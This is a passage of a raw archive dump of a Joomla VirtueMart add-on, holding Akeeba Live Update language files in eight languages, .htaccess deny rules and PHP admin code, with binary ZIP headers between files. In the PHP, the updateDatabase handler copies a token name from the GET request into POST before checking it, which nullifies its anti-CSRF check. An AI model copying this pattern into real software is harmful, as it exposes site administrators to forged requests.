доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PK@y>\Ϛ[ Fcomponents/com_virtuemart_allinone/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE."PK@y>\);components/com_virtuemart_allinone/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bLDFcomponents/com_virtuemart_allinone/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

      Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PK@y>\);components/com_virtuemart_allinone/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PK@y>\mfL L Fcomponents/com_virtuemart_allinone/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PK@y>\);components/com_virtuemart_allinone/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,-R R Fcomponents/com_virtuemart_allinone/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PK@y>\VtvOOFcomponents/com_virtuemart_allinone/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PK@y>\);components/com_virtuemart_allinone/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ t Fcomponents/com_virtuemart_allinone/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

      Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PK@y>\);components/com_virtuemart_allinone/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\&c c Fcomponents/com_virtuemart_allinone/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PK@y>\@components/com_virtuemart_allinone/admin.virtuemart_allinone.phpnuW+A * * One-click updater for Joomla! extensions * Copyright (C) 2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ defined('_JEXEC') or die(); require_once dirname(__FILE__).'/classes/abstractconfig.php'; require_once dirname(__FILE__).'/config.php'; $task = JRequest::getCmd('task'); if($task=='updateDatabase'){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); //Update Tables if (!class_exists( 'VmConfig' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart'.DS.'helpers'.DS.'config.php'); if(!class_exists('Permissions')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart_allinone', $msg); } else { if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone'.DS.'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(); $app = JFactory::getApplication(); $app->redirect('index.php?option=com_virtuemart_allinone', 'Database updated'); } } ?>
      load('com_virtuemart', JPATH_ADMINISTRATOR, 'en-GB', true); // Load English (British) $jlang->load('com_virtuemart', JPATH_ADMINISTRATOR, $jlang->getDefault(), true); // Load the site's default language $jlang->load('com_virtuemart', JPATH_ADMINISTRATOR, null, true); // Load the currently selected language ?>
      load('liveupdate', $basePath, 'en-GB', true); // Load English (British) $jlang->load('liveupdate', $basePath, $jlang->getDefault(), true); // Load the site's default language $jlang->load('liveupdate', $basePath, null, true); // Load the currently selected language } /** * Handles requests to the "liveupdate" view which is used to display * update information and perform the live updates */ public static function handleRequest() { // Load language strings self::loadLanguage(); // Load the controller and let it run the show require_once dirname(__FILE__).'/classes/controller.php'; $controller = new LiveUpdateController(); $controller->execute(JRequest::getCmd('task','overview')); $controller->redirect(); } /** * Returns update information about your extension, based on your configuration settings * @return stdClass */ public static function getUpdateInformation($force = false) { require_once dirname(__FILE__).'/classes/updatefetch.php'; $update = new LiveUpdateFetch(); $info = $update->getUpdateInformation($force); $hasUpdates = $update->hasUpdates(); $info->hasUpdates = $hasUpdates; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $info->extInfo = (object)$extInfo; return $info; } public static function getIcon($config=array()) { // Load language strings self::loadLanguage(); $defaultConfig = array( 'option' => JRequest::getCmd('option',''), 'view' => 'liveupdate', 'mediaurl' => JURI::base().'components/'.JRequest::getCmd('option','').'/liveupdate/assets/' ); $c = array_merge($defaultConfig, $config); $url = 'index.php?option='.$c['option'].'&view='.$c['view']; $img = $c['mediaurl']; $updateInfo = self::getUpdateInformation(); if(!$updateInfo->supported) { // Unsupported $class = 'liveupdate-icon-notsupported'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UNSUPPORTED'); } elseif($updateInfo->stuck) { // Stuck 